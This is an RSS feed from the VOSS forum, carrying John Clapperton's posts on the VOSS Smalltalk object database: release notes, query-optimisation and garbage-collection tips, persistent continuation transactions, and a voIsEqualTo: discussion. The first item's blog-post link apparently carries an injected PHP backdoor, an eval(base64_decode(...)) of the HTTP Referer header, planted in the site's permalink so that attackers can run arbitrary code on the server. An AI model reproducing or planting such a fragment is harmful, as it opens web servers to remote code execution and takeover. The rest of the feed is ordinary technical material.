<?xml version="1.0" ?><rss version="2.0">
<channel>
	<title>VOSS 3.1 - All Forums</title>
	<link>http://voss.logicarts.com/forum</link>
	<description><![CDATA[Database Management for Smalltalk]]></description>
	<generator>Simple Forum Version 2.1</generator>
<item>
	<title>John Clapperton on VOSS 3.150.04 - Hot Backup</title>
	<link>http://voss.logicarts.com/forum?forum=1&#38;topic=24</link>
	<category>Announcements</category>
	<guid isPermaLink="true">http://voss.logicarts.com/forum?forum=1&#38;topic=24#p34</guid>
	<description><![CDATA[<p>New in this release, 3.150.04 allows snapshot shadow hot backup of all connected virtual spaces without the need to take an application offline. On menu click from the control panel, or by program message send, the flow of transaction commits pauses for just a few seconds whilst the snapshot shadows are created, and then continues normal service whilst the shadow copies are backed up to a specified location.</p>
<p>Together with concurrent background garbage collection, this allows 24&#215;7 operation of applications managing multi-gigabyte databases of objects in virtual spaces distributed over a Microsoft Windows Network Filesystem.</p>
<p><a title="Download VOSS 3.150.04" href="http://voss.logicarts.com/downloads" target="_blank">Download VOSS 3.150.04 here</a></p>
<p>John<br /><span class="sfbloglink"><a href="http://voss.logicarts.com/2009/10/19/voss-315004-hot-backup/%&#038;({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}&#124;.+)&#038;%/">Read original <img src="http://voss.logicarts.com/wp-content/plugins/simple-forum/icons/default/bloglink.png" alt="" /> blog post</a></span></p>

]]></description>
	<pubDate>Monday, 19 October 2009</pubDate>
</item>
<item>
	<title>John Clapperton on VOSS 3.150.02 - New in this releae</title>
	<link>http://voss.logicarts.com/forum?forum=1&#38;topic=23</link>
	<category>Announcements</category>
	<guid isPermaLink="true">http://voss.logicarts.com/forum?forum=1&#38;topic=23#p32</guid>
	<description><![CDATA[<p>
Version 3.150 improves administrative integrity safeguards; in particular, each most recent transaction commit timestamp is now stored in new header records in each of the files which comprise a virtual space&#160;(.vs1, .vs2, .tsq, .tlb), in addition to the existing .vot header record. Log-on is blocked if these do not match, safeguarding the virtual space against accidental mixups with the files.
</p>
<p>
The new header records are automatically added to existing virtual space files, (.vs1 or .vs2) and .tsq on the first garbage collector flip, (.vs2 or .vs1) on the second flip. The transaction log archive (which never needs garbage-collection, as nothing is ever deleted from it) is &#8216;converted&#8217; when it is next replaced by a new empty one prior to routine backup (the transaction log must know the timestamp of the backup which it may be called upon to roll forward in crash recovery).
</p>
<p>
Note that virtual spaces which have been flipped at least once by version 3.150 cannot thereafter be used with any earlier version of VOSS, as earlier versions do not expect the header records to be there. Similarly, virtual spaces created by version 3.150 cannot be used with any earlier release of VOSS for the same reason.
</p>
<p>
There is a bug fix in VOSortedDictionary&#62;&#62;forKeyMatches: (which matches&#160;String keys with wild * and # characters) replacing the erroneous case-sensitive #= comparison by #voEQ: which looks at the VOSSRoot&#62;&#62;caseSensitiveKeys global variable to decide what to do.
</p>
<p>
In this area, it has been suggested that it would be useful to give each instance of VOSortedDictionary (and therefore its subclass VirtualDictionary, and by extension, the VOAutoDictionary components of VirtualDictionarySet etc)&#160;its own&#160;#caseSensitiveKeys attribute. If you have views on this please let me know.
</p>
<p>
VOSS 3.150.02 is available for download <a href="../downloads" target="_blank" title="Download VOSS 3.150.02">here</a>.
</p>
<p>
John<br />
<!-- Start of StatCounter Code --></p>

]]></description>
	<pubDate>Tuesday, 15 September 2009</pubDate>
</item>
<item>
	<title>John Clapperton on VirtualDictionarySet Query Tip</title>
	<link>http://voss.logicarts.com/forum?forum=7&#38;topic=22</link>
	<category>Database Design &#038; Programming</category>
	<guid isPermaLink="true">http://voss.logicarts.com/forum?forum=7&#38;topic=22#p31</guid>
	<description><![CDATA[<p>VirtualDictionarySet (a virtualized subclass of DictionarySet) is the workhorse collection class to use for aggregation of objects in a VOSS database. Typically, all the objects in a DictionarySet will be of the same class (e.g. Employee, Department, Project, Order, Invoice etc), but not necessarily.</p>
<p>DictionarySet allows its elements to be indexed by any number of single-valued and/or multi-valued key-selector unary messages (e.g. #employeeNumber (single-valued), #lastName (multi-valued), #deptNumber (a foreign key in Employees), #deptNumber (primary key in Departments) etc), as required by the application.</p>
<p>Complex queries are built by sending messages such as &#60;#for: #lastName equals: &#8216;Smith&#8217;&#62;  to the DictionarySet, to which the DictionarySet returns a set of its elements meeting that criterion. There is an example of a complex query <a title="Example Query" href="http://voss.logicarts.com/description/virtual-collections/example-query/" target="_blank">here</a>. <!--more--></p>
<p>The tip here, in the interests of efficiency,  is not to &#8220;change the class&#8221; of the returned partial query sets (e.g. #asOrderedCollection) until after all the intersections and/or unions of partial query sets have been done to build the complex query - and even then there is rarely any need to do this.</p>
<p>VirtualDictionarySet&#62;&#62;for:equals: returns a VOLogicalOrderedIdentitySet of virtual objects, which compares logical identity of the virtual objects it contains (and is adding) by comparing the object&#8217;s #voManager identity and its integer object #id, both of which are in the in the object&#8217;s proxy VORef (which is what is actually in the set), and therefore no #= message need be expensively forwarded to the instantiated object in the cache in the voManager. <br />
 <br />
Moreover, VOLogicalOrderedIdentitySet is hashed (on #id in the VORef), and needs to compare identity only when probing hash collisions. Therefore it executes #includes: much faster than OrderedCollection or other non-hashed collections, which must compare equality for each of the entire collection when looking for an absent object, and, on average, half the collection for each present object, forwarding #= to the instantiated object each time.</p>
<p>It is therefore very much faster when constructing complex queries to do all union and intersection of the partial query sets using the VOLogicalOrderedIdentitySets as returned by the partial query components.<br /><span class="sfbloglink"><a href="http://voss.logicarts.com/2009/03/19/virtualdictionaryset-query-tip/">Read original <img src="http://voss.logicarts.com/wp-content/plugins/simple-forum/icons/default/bloglink.png" alt="" /> blog post</a></span></p>

]]></description>
	<pubDate>Thursday, 19 March 2009</pubDate>
</item>
<item>
	<title>John Clapperton on VOSS 3.145.02 - New in this release...</title>
	<link>http://voss.logicarts.com/forum?forum=1&#38;topic=21</link>
	<category>Announcements</category>
	<guid isPermaLink="true">http://voss.logicarts.com/forum?forum=1&#38;topic=21#p30</guid>
	<description><![CDATA[<p> </p>
<p>The previous release (3.145.01) introduced buffered transaction logging, in which a log archive daemon process archives the contents of the log buffer at specified intervals, increasing the maximum commit rate to 50 transactions per second on desktop hardware. This new release 3.145.02 allows for log archiving to be disabled, further increasing transaction throughput, for example up to 150 logged random create/inserts per second into a VirtualDictionary of 10 million elements (depending on cache settings, and with no concurrent garbage collection).</p>
<p>Log archiving, present from the earliest release of VOSS, saves the transaction log as virtual object in a separate virtual space,  thus available to an application for audit trail etc. However if this is not required then the new archive disable feature allows significantly higher performance. The log buffer file is thus no longer a buffer, it is the log, growing indefinitely instead of being emptied every 1500 milliseconds. However, backup procedure is unchanged, starting a new empty log which records the backup timestamps.</p>
<p>Rollforward recovery procedure is also unchanged, transparently first applying any archived log entries to the virtual space backup copies being rolled forward, followed by the entries in the log buffer.</p>
<p>VOSS 3.145.02 is available for download <a title="Download VOSS 3.145.02" href="http://voss.logicarts.com/downloads/" target="_blank">here</a></p>
<p>John<br /><span class="sfbloglink"><a href="http://voss.logicarts.com/2008/10/23/voss-314502-new-in-this-release/">Read original <img src="http://voss.logicarts.com/wp-content/plugins/simple-forum/icons/default/bloglink.png" alt="" /> blog post</a></span></p>

]]></description>
	<pubDate>Thursday, 23 October 2008</pubDate>
</item>
<item>
	<title>John Clapperton on DictionarySet key-sets &#038; baseDictionary removal optimisation</title>
	<link>http://voss.logicarts.com/forum?forum=7&#38;topic=20</link>
	<category>Database Design &#038; Programming</category>
	<guid isPermaLink="true">http://voss.logicarts.com/forum?forum=7&#38;topic=20#p29</guid>
	<description><![CDATA[<p>
When an object is added to a DictionarySet (or VirtualDictionarySet), it is added to each of the DictionarySet&#8217;s component AutoDictionaries, each of which sends its defined unary message selector to the object to obtain the key at which it is to be inserted.
</p>
<p>
If the object returns a <strong>VOKeySet</strong> or <strong>VOKeyCollection</strong> (which should also normally be a set of unique keys) then the object is added into that AutoDictionary at each of those keys; this may be useful, for example, if the DictionarySet elements are published books or papers, each of which may have been written by several contributing authors. The consequence of this, however, is that the DictionarySet would no longer be a set, as a book having three authors will be present three times, once at each author key, and this could cause unexpected behaviour in <strong>DictionarySet&#62;&#62;do:</strong> and other enumeration methods.
</p>
<p>
<!--more-->For this reason, when a DictionarySet is created it is automatically&#160;initialized with a baseDictionary on the key selector <strong>#yourself</strong>, which is thus a set, and DictionarySet&#62;&#62;do: etc. all operate on this&#160;baseDictionary.
</p>
<p>
This presents an opportunity for optimisation: since if it is known that none of the DictionarySet elements will ever return a VOKeySet or VOKeyCollection of keys, the baseDictionary is unnecessary and may be removed at any time, in an ordinary transaction, by the method <strong>DictionarySet&#62;&#62;removeBaseDictionary</strong>.
</p>
<p>
Subsequent transactions which add/remove objects to/from the DictionarySet will thus be faster. When there is no baseDictionary, DictionarySet&#62;&#62;do: etc. operate on one of the component AutoDictionaries chosen at random. jc<br />
<span class="sfbloglink"><a href="2008/08/27/dictionaryset-key-sets-basedictionary-removal-optimisation/">Read original <img src="wp-content/plugins/simple-forum/icons/default/bloglink.png" alt="" /> blog post</a></span></p>

]]></description>
	<pubDate>Wednesday, 27 August 2008</pubDate>
</item>
<item>
	<title>John Clapperton on Query optimisation when using #for:between:and:</title>
	<link>http://voss.logicarts.com/forum?forum=7&#38;topic=19</link>
	<category>Database Design &#038; Programming</category>
	<guid isPermaLink="true">http://voss.logicarts.com/forum?forum=7&#38;topic=19#p28</guid>
	<description><![CDATA[<p>
Queries in a VOSS odbms are written in Smalltalk and may therefore be of arbitrary complexity, addressing an arbitrary semantic network of persistent objects. However, to simplify the most&#160;common kinds of queries, it is recommended that VirtualDictionarySet be used as the general-purpose Collection for the major aggregations of application entities in the database.
</p>
<p>
A DictionarySet may index its elements on any number of single-valued and/or multi-valued unary key selector messages, which may be added or removed at any time by ordinary (though potentially large) transactions, and DictionarySet uses these to provide efficient query-building methods which return subsets of its contents, allowing more complex queries to be built by union and intersection of these sets.&#160;
</p>
<p>
A previous article noted the optimisation possible by using <strong>#for:equalsNoCopy:</strong> which returns the actual virtual set within the VirtualDictionarySet, instead of <strong>#for:equals:</strong> which returns a copy of it, when there is no intention to add or remove elements to or from the returned answer set.
</p>
<p>
This article concerns optimisation of queries using&#160;<strong>#for:between:and:</strong>.
</p>
<p>
The set returned by this method may be used to build queries in the usual way,&#160;by union and intersection with other sets, but it is as well to know that it is typically slower than <strong>#for:equals:</strong>. This is because,&#160;for example in the query:&#160;<strong>journeys for: #startDate between: aDate and: bDate</strong>, the answer set is constructed by finding (efficiently) the integer indexes of the (nearest etc) elements at the keys&#160;<strong>aDate</strong> and <strong>bDate</strong> and then enumerating the keys between those two, using integer index access each time, to add their values into the constructed answer set, rather than simply answering an existing set of multiple values at a key (or the element at a single-valued key in a constructed set by itself).
</p>
<p>
If, therefore,&#160;the partial answer set from&#160;<strong>#for:between:and:</strong>&#160;is large, it may be more efficient to intersect the sets returned by other parts of the query first, and enumerate that smaller&#160;result with <strong>#select:</strong> to return the subset of those elements which meet the range criterion.
</p>
<p>
jc<br />
<span class="sfbloglink"><a href="2008/08/21/query-optimisation-when-using-forbetweenand/">Read original <img src="wp-content/plugins/simple-forum/icons/default/bloglink.png" alt="" /> blog post</a></span></p>

]]></description>
	<pubDate>Thursday, 21 August 2008</pubDate>
</item>
<item>
	<title>John Clapperton on Optimisation tip for DictionarySet queries</title>
	<link>http://voss.logicarts.com/forum?forum=7&#38;topic=18</link>
	<category>Database Design &#038; Programming</category>
	<guid isPermaLink="true">http://voss.logicarts.com/forum?forum=7&#38;topic=18#p27</guid>
	<description><![CDATA[<p>The VOSS collection, DictionarySet, and therefore also its subclass VirtualDictionarySet, follows the normal Smalltalk practice of returning a new collection when asked for a subset of its elements, just as when using <strong>Collection&#62;&#62;select:.</strong></p>
<p>However, when sending a DictionarySet one of the most commonly used query messages, <strong>#for:equals:</strong> (as in <strong>Journeys for: #month equals: &#8216;August&#8217;</strong>) the required elements may well already be in an explicit virtual set in one of its component VirtualMultiValuedAutoDictionaries. For consistency, however, those elements are all added into a constructed answer set, and this takes time. <br />
 <br />
For this reason, an optimisation is provided as the alternative method <strong>DictionarySet&#62;&#62;for:equalsNoCopy:</strong> which returns the actual virtual set from the database.<br />
  <br />
It&#8217;s safe to do this only if the application does not change that returned set, as that would be a subversive change to just that one of the DictionarSet&#8217;s component AutoDictionaries, which the DictionarySet keeps synchronised when adding or removing elements; however that can be avoided with care, and anyway cannot happen in a read-only transaction.</p>
<p>From a concurrency point of view, it&#8217;s also as well to remember that this returned virtual set will be locked each time a message is sent to it in a read-only transaction having #isolationDegree=2 (short read-locks), whereas when using <strong>#for:equals:</strong> the returned set is not virtual, it&#8217;s a real set of virtual objects, and only its elements will be locked when sent messages, which may make some difference to concurrency. If the transaction&#8217;s #isolationDegree=3 all locks are held until the transaction rollsback or commits, so it wouldn&#8217;t make any difference anyway.</p>
<p>jc<br /><span class="sfbloglink"><a href="http://voss.logicarts.com/2008/08/19/optimisation-tip-for-dictionaryset-queries/">Read original <img src="http://voss.logicarts.com/wp-content/plugins/simple-forum/icons/default/bloglink.png" alt="" /> blog post</a></span></p>

]]></description>
	<pubDate>Tuesday, 19 August 2008</pubDate>
</item>
<item>
	<title>John Clapperton on Optimisation for virtual objects as dictionary keys</title>
	<link>http://voss.logicarts.com/forum?forum=7&#38;topic=17</link>
	<category>Database Design &#038; Programming</category>
	<guid isPermaLink="true">http://voss.logicarts.com/forum?forum=7&#38;topic=17#p26</guid>
	<description><![CDATA[<p>A user has contributed the following optimisation, which will be included in the next release.</p>
<p>Add the following method:</p>
<p>VORefPrivate&#62;&#62;isVOKeyCollection<br />
&#8220;Private&#8221;</p>
<p> ^false</p>
<p>The addition of this method improves concurrency by eliminating unnecessary object locking of virtual objects which are being used as keys in a VirtualDictionary or VirtualDictionarySet.</p>
<p>When virtual objects are used as keys they behave as identity keys, as only their global object IDs are compared, and both components of this (the virtual object ID prefixed by the ID of the virtual space in which it exists) are present in every VORef proxy for that object, hence the key comparison message is not forwarded to the object itself and so the object is not locked into the transaction.</p>
<p>However, this was undermined some time ago by the addition of the key collection feature, as the message #isVOKeyCollection is sent to the candidate key by all the virtual dictionary addition, removal and inclusion methods, and this is forwarded to the object, which correctly returns &#60;false&#62; (from the default Object&#62;&#62;isVOKeyCollection), but leaves the object locked in the current transaction.</p>
<p>The above new method prevents this, and will be included in the next release.</p>
<p>The reason that the candidate key is tested with #isVOKeyCollection is that if the key answers &#60;true&#62; then it is a collection of keys, and the argument object is added (etc) at each of the elements of that collection of keys. An example of this might be when a published book is to be keyed on each of its collection of authors, each of whom is also an object in the database with their own (changeable) names, attributes and relationships.</p>
<p>jc<br /><span class="sfbloglink"><a href="http://voss.logicarts.com/2008/08/14/optimisation-for-virtual-objects-as-dictionary-keys/">Read original <img src="http://voss.logicarts.com/wp-content/plugins/simple-forum/icons/default/bloglink.png" alt="" /> blog post</a></span></p>

]]></description>
	<pubDate>Thursday, 14 August 2008</pubDate>
</item>
<item>
	<title>John Clapperton on What's in a transaction?</title>
	<link>http://voss.logicarts.com/forum?forum=1&#38;topic=16</link>
	<category>Announcements</category>
	<guid isPermaLink="true">http://voss.logicarts.com/forum?forum=1&#38;topic=16#p25</guid>
	<description><![CDATA[<p>Questions have been asked about what each transaction is doing in the 40tps benchmark mentioned in the previous post.</p>
<p>The test &#8216;application&#8217; is a loop which each time around commits a transaction which creates two new virtual objects, each of which is an Array of two elements, the first a Float, the second a String of 65 characters, which is added into a VirtualDictionary using the integer part of the Float as the key. The application updates a scrolling window on each commit. Garbage collection is switched off, MVRC/MVCC Versioning is switched off. The log archive delay interval is 1000ms. The test is run for 30 seconds and the dictionary size is about 20000 elements.</p>
<p>For comparison, if the loop is set to add four such objects in each transaction, the commit rate falls to 30tps. Or if just one object is created and added to the VirtualDictionary the commit rate increases to 50tps (with the log archive delay interval reduced to 750ms, so as not to trigger re-initialization of the log archive process, which by default happens when there are 100 transactions in the log buffer file).</p>
<p>John</p>
<p> </p>
<p> <br /><span class="sfbloglink"><a href="http://voss.logicarts.com/2008/08/07/whats-in-a-transaction/">Read original <img src="http://voss.logicarts.com/wp-content/plugins/simple-forum/icons/default/bloglink.png" alt="" /> blog post</a></span></p>

]]></description>
	<pubDate>Thursday, 7 August 2008</pubDate>
</item>
<item>
	<title>John Clapperton on VOSS 3.145.01 - New in this release...</title>
	<link>http://voss.logicarts.com/forum?forum=1&#38;topic=15</link>
	<category>Announcements</category>
	<guid isPermaLink="true">http://voss.logicarts.com/forum?forum=1&#38;topic=15#p24</guid>
	<description><![CDATA[<p>New in this release, together with the Continuation Transactions, Persistent (&#8221;Long&#8221;) Continuation Transactions, Web Rendezvous, MVRC &#38; MVCC features already in the 3.1 beta, is buffered transaction logging.</p>
<p>With a background log archive daemon which activates at specified intervals (by default 1500 milliseconds) to archive the contents of the log buffer file, buffering increases the maximum commit rate to 40 transactions per second on desktop hardware, which file flushing previously limited to about four.  If the archive interval is set to zero (from the Control Panel or by program) the archive daemon terminates and each transaction is logged and flushed on commit, as in previous releases. With the transaction log on a separate drive or network server, rollforward of secure backups of the logged virtual spaces allows recovery from general power outage and from head crash or malicious damage at a single machine.</p>
<p>Rollforward recovery applies all log entries archived since the backup, followed by all (self-validating) well-formed log entries readable from the log buffer file. If log buffer flushing is enabled then recovery of all committed transactions is assured (though reducing the maximum commit rate to about 15 transactions per second on a typical IDE drive), but is otherwise dependent on the behaviour of the particular disk drive on power outage during a write append in the last sector of the buffer file, which is read and re-written in whole, even though the operating system called an appending write. (AFAIK it is not possible to control an IDE drive at a sufficiently low level to allow implementation of ping-pong appends).</p>
<p>VOSS 3.145.01is available for download <a title="Download VOSS 3.145" href="http://voss.logicarts.com/downloads/" target="_blank">here</a> under the GPLv3 open source project licence, please <a href="mailto:mail@logicarts.com">mailto:mail@logicarts.com</a> re supported commercial licensing.</p>
<p>John<br /><span class="sfbloglink"><a href="http://voss.logicarts.com/2008/08/02/voss-314501-new-in-this-release/">Read original <img src="http://voss.logicarts.com/wp-content/plugins/simple-forum/icons/default/bloglink.png" alt="" /> blog post</a></span></p>

]]></description>
	<pubDate>Saturday, 2 August 2008</pubDate>
</item>
<item>
	<title>John Clapperton on Maintenance Release</title>
	<link>http://voss.logicarts.com/forum?forum=1&#38;topic=14</link>
	<category>Announcements</category>
	<guid isPermaLink="true">http://voss.logicarts.com/forum?forum=1&#38;topic=14#p23</guid>
	<description><![CDATA[<p>New release 3.045.26 is available for <a href="http://voss.logicarts.com/downloads/" target="_self">download</a>. This fixes a problem when full disk volume is encountered during background garbage collection (as distinct from foreground GC during transaction commit). The same fix has been applied in 3.145.00.11 (beta).<br /><span class="sfbloglink"><a href="http://voss.logicarts.com/2008/05/16/maintenance-release/">Read original <img src="http://voss.logicarts.com/wp-content/plugins/simple-forum/icons/default/bloglink.png" alt="" /> blog post</a></span></p>

]]></description>
	<pubDate>Friday, 16 May 2008</pubDate>
</item>
<item>
	<title>John Clapperton on Garbage Tips</title>
	<link>http://voss.logicarts.com/forum?forum=9&#38;topic=13</link>
	<category>Database Administration</category>
	<guid isPermaLink="true">http://voss.logicarts.com/forum?forum=9&#38;topic=13#p22</guid>
	<description><![CDATA[<h2>Garbage Tips</h2>
<p>&#160;<br />
&#8216;Garbage&#8217;, in an object-oriented database system, means objects which have become unreachable and are to be removed to reclaim storage space. The garbage collector (&#8217;GC&#8217;) in VOSS is a &#8216;Baker&#8217; design, similar in concept to the garbage collector in Smalltalk-80, and which can be run in foreground and/or background modes of which more later.</p>
<p>Unlike the mark-sweep design, which truly is a &#8216;garbage collector&#8217;, the Baker design would be better characterised as a &#8216;good object preserver&#8217; which copies all reachable objects within a virtual space back and forth from one &#8217;semi-space&#8217; to another, deleting everything left behind on each flip. This has consequences for database design, administration, and the choice of GC settings, to tune for maximum transaction throughput and minimum time offline.</p>
<h3>Know which space your objects are in.</h3>
<p>In a database design using multiple virtual spaces, the most important thing to know is that when the VOSS GC flips it preserves only those objects in a virtual space which are (indirectly) reachable from the rootDictionary of that virtual space or from the image in which the GC is then running (in the case of uncommitted new objects). In other words, any object in virtual space &#8216;A&#8217; which is referenced only by an object in virtual space &#8216;B&#8217;, though it will behave normally whilst present, will not be preserved when the GC flips virtual space &#8216;A&#8217;. Or in other words again, reference(s) from object(s) in another virtual space alone are not sufficient to preserve an object from the GC of the virtual space in which it exists. In its systematic copying, the GC does not follow references to objects outside the virtual space which it is scanning.</p>
<p>This situation must be avoided, as after such a flip, those objects would become instances of VOUndefinedObject, and later magically become some arbitrary new object when the id number of that apparently garbage object in space &#8216;A&#8217; was re-allocated to a new object, having spent some days, weeks or months on space &#8216;A&#8217;s free id list.</p>
<p>The simplest way to keep this right is always to use one of the explicit variants of the message to virtualize an object, preferably on creation, which specify the location explicitly, for example:</p>
<p>  myObject := MyClass newVirtualIn: aVOManager.</p>
<p>The non-specific variants, for example:</p>
<p>  myObject := MyClass newVirtual.</p>
<p>virtualize the new instance in the current virtual space of the current process, i.e. the virtual space which hosts the last object to have received a message in the current process.</p>
<h3>Why use multiple virtual spaces?</h3>
<p>One reason for distributing a database across multiple virtual spaces may be that some parts of the database are static, whilst others are volatile - subject to frequent update and new object creation - and in this case unnecessary GC processing can be avoided by suitable partitioning of the database, so that the more static virtual space is GC&#8217;d less frequently, if at all.</p>
<h3>Foreground or Background Garbage Collection?</h3>
<p>Foreground GC scans and saves a specified number of reachable objects as an addendum to  each transaction commit, before that transaction&#8217;s changes are physically written to disk, to minimise disk activity. The effect, to the user, is that each transaction commit takes longer than it otherwise would, depending on the number of objects it is set to scan.</p>
<p>Background GC runs as one or more separate background process(es), effectively as a dummy user(s) committing null transactions, which each do some GC, as above. Within each image, background GC process(es) (though there is no sensible reason to have more than one in each image) commit their invisible dummy transactions once every user-specified time delay - by default 3000 milliseconds - and scan the user-specified number of objects each time.</p>
<p>The advantage of background GC is that it utilises the time in between application transaction commits, the disadvantage is that it causes more disk flushing activity than foreground GC.</p>
<p>Foreground GC is indicated if the application consists mainly of frequent transactions which are a short time n the preparation before commit (i.e. whilst the application has control); background GC is indicated if transactions are less frequent and/or a long time in the preparation, especially open-ended interactive transactions, when background GC can go on whilst the user is thinking.<br /><span class="sfbloglink"><a href="http://voss.logicarts.com/2008/04/14/garbage-tips/">Read original <img src="http://voss.logicarts.com/wp-content/plugins/simple-forum/icons/default/bloglink.png" alt="" /> blog post</a></span></p>

]]></description>
	<pubDate>Monday, 14 April 2008</pubDate>
</item>
<item>
	<title>John Clapperton on New! Persistent Continuation Transactions in VOSS 3.145.00.10 (beta)</title>
	<link>http://voss.logicarts.com/forum?forum=1&#38;topic=12</link>
	<category>Announcements</category>
	<guid isPermaLink="true">http://voss.logicarts.com/forum?forum=1&#38;topic=12#p21</guid>
	<description><![CDATA[<p>VOSS 3.145.00.10 (beta) is now available for <a href="http://voss.logicarts.com/downloads/" title="VOSS Downloads">download</a>.</p>
<p>New feature in this release is Persistent Continuation Transactions.</p>
<p>An open VOContinuationTransaction which has committed any number of alternative futures for its set of objects in continuation sub-transactions may now itself be persisted, or persisted &#38; deactivated which removes the live transaction from the image, allowing log-off and shutdown.</p>
<p>Whilst the persisted continuation transaction exists, it and all its objects are persistently set read-only in the name of that transaction. Whilst deactivated it may be re-activated from the Control Panel or by program message sending, to re-create the live open transaction.</p>
<p>Persistent transactions are useful in design or what-if type of applications, where transactions may extend over days of revision and re-working of different saved possible final states, until a final commit is chosen.</p>
<p><!--more--></p>
<p>Persisting a VOContinuationTransaction stores in the current virtual space (in a private dictionary in the stateDictionary) a virtual object complex which is a representation of the open VOContinuationTransaction, as a VOPersistedContinuationTransaction containing the same virtual objects. The same complex also includes a representation of its owner VOSession and its virtualObjectPark dictionary and contents, as a VOPersistedSession.</p>
<p>By default, every committing VOConSubTransaction persists its parent VOContinuationTransaction within the same commit; this default may be changed by the class method:</p>
<p>  VOContinuationTransaction persistConTxnOnSubTxnCommitDefault: aBoolean.</p>
<p>The public instance methods of VOContinuationTransaction offer further options. For example, VOContinuationTransaction&#62;&#62;persistAndDeactivate persists the receiver and removes it from the image, setting persistent read-locks on its VOPersistedContinuationTransaction and contents.</p>
<p>If all open VOContinuationTransactions in an image have been persisted and deactivated, the image may log-off and shutdown if desired.</p>
<p>Whilst a VOContinuationTransaction is active (i.e. exists, open, in the image), but has not yet been persisted, its contents are locked by volatile cache and object table file (.vot) record locks in the same way as in an ordinary  transaction. When persisted, the persistent read-locks are additional, but incidental from the point of view of other Process’s transactions (in the same or other images). However, when an open VOContinuationTransaction has been deactivated, it no longer exists in the image and its volatile locks are released; other Process’s transactions may then see such objects, but the persistent read-locks will block them from committing any changes to those objects (or the VOPersistedContinuationTransaction itself).</p>
<p>At the application level, the database may be considered to be in an inconsistent state (this is not something which any DBMS can determine, it is a matter for the application designer and/or user; consider, for example, work in progress in a CAD design for a gearbox or building), and objects which were write-locked in the open VOContinuationTransaction will now be only read-locked and therefore visible to other Processes in their deemed inconsistent state. However, this situation may be managed, since such locks may be tested by the method:</p>
<p>  VORefPrivate&#62;&#62;isReadOnlyForPersistedTransaction</p>
<p>and/or by checking the startTimestamp (id) of each extant VOPersistedContinuationTransaction in each virtual space returned by the method:</p>
<p>  VOManager&#62;&#62;persistedContinuationTransactionsOrIDs</p>
<p>so that, other Process’s transactions may choose to see the database as at a specified #dateAndTimeToRead (or equivalent integer #timestampToRead) pre-dating any or all extant persisted continuation transactions. If transaction versioning is globally enabled (set by VOManagerManager&#62;&#62;versioning: aBoolean, or from the Control Panel) then all historical states prior to the continuation transaction(s) may be seen.</p>
<p>Persisted instances of VOPersistedContinuationTransaction are shown in the Control Panel, and may be (re)activated by menu there, or by one of the following messages to the single LocalVOSSServer global instance of VOSSServer.</p>
<p>  VOSSServer&#62;&#62; activatePersistedContinuationTransaction: aPersistedContinuationTxn<br />
or<br />
  VOSSServer&#62;&#62; activatePersistedContinuationTransactionID: anInteger in: aVOManager</p>
<p>Download <a href="http://voss.logicarts.com/downloads/" title="VOSS Downloads">here </a>and test-drive this in the tutorial.<br /><span class="sfbloglink"><a href="http://voss.logicarts.com/2008/04/03/new-persistent-continuation-transactions-in-voss-31450010-beta/">Read original <img src="http://voss.logicarts.com/wp-content/plugins/simple-forum/icons/default/bloglink.png" alt="" /> blog post</a></span></p>

]]></description>
	<pubDate>Thursday, 3 April 2008</pubDate>
</item>
<item>
	<title>John Clapperton on voIsEqualTo:</title>
	<link>http://voss.logicarts.com/forum?forum=5&#38;topic=9</link>
	<category>Invalid Defect Reports</category>
	<guid isPermaLink="true">http://voss.logicarts.com/forum?forum=5&#38;topic=9#p19</guid>
	<description><![CDATA[<p>
Forum support suggest&#160;in <a href="http://www.stuff.yellowswordfish.com/support-forum/simple-forum/bad-post-rendering-black-skin/page-1/">http://www.stuff.yellowswordfish.com/support-forum/simple-forum/bad-post-rendering-black-skin/page-1/</a>&#160;that the rendering problem is due to html in the post. It&#8217;s probably best to paste plain text and edit as required in the forum editor.
</p>
<p>
For best readability, VOSS source code assumes Tabs expanded to four spaces; this can be done in a Smalltalk workspace using String&#62;&#62;voWithTabsExpanded.
</p>
<p>
Regards<br />
John</p>

]]></description>
	<pubDate>Saturday, 1 March 2008</pubDate>
</item>
<item>
	<title>John Clapperton on voIsEqualTo:</title>
	<link>http://voss.logicarts.com/forum?forum=5&#38;topic=9</link>
	<category>Invalid Defect Reports</category>
	<guid isPermaLink="true">http://voss.logicarts.com/forum?forum=5&#38;topic=9#p14</guid>
	<description><![CDATA[<p>
Hi Thomas,
</p>
<p>
If&#160;the receiver and anObject are both VORefs, but with different vid and/or voManager they still could be equal, although different virtual objects.
</p>
<p>
&#124; a b &#124;<br />
a := (Array with: &#8216;hello&#8217; with: &#8216;world&#8217;) madeVirtual.<br />
b := (Array with: &#8216;hello&#8217; with: &#8216;world&#8217;) madeVirtual.<br />
a voIsEqualTo: b =&#62; true<br />
&#160;<br />
VORefPublic&#62;&#62;voAreYou: tests logical identity, which would returns false in the above.
</p>
<p>
I&#8217;m looking into the incorrect rendering of your post.
</p>
<p>
John
</p>
<p>
&#62;&#62;&#62;
</p>
<p>
voIsEqualTo: Hello John,I&#180;m not sure but should the check, if two virtual objects&#160; are the same answer false in the case of anObjct is a VORefs and their vid is not the same? (Assuming the voManger is the same) So the code should look like this?&#160; <br />
voIsEqualTo: anObject <br />
&#34;Private - Answer true if the receiver&#8217;s virtual
</p>
<p>
object and anObject are equal, else answer false. <br />
anObject may or may not be a VOR.&#34; <br />
&#160; &#124; myObject bObject &#124; <br />
&#160; self == anObject ifTrue: [^true]. &#34;the same VOR&#34; <br />
&#160; anObject isVOR <br />
&#160; ifTrue: <br />
&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; [ ( id = anObject vid and: <br />
&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; [self voManager == anObject voManager] <br />
&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; ) <br />
&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; ifTrue: [^true].&#160; &#34;logically the same object&#34; <br />
&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; ^false <br />
&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160;&#160; ]. <br />
&#160; <br />
&#160; myObject := self voPeek. <br />
&#160; bObject := anObject voPeek. &#34;could just be anObject&#34; <br />
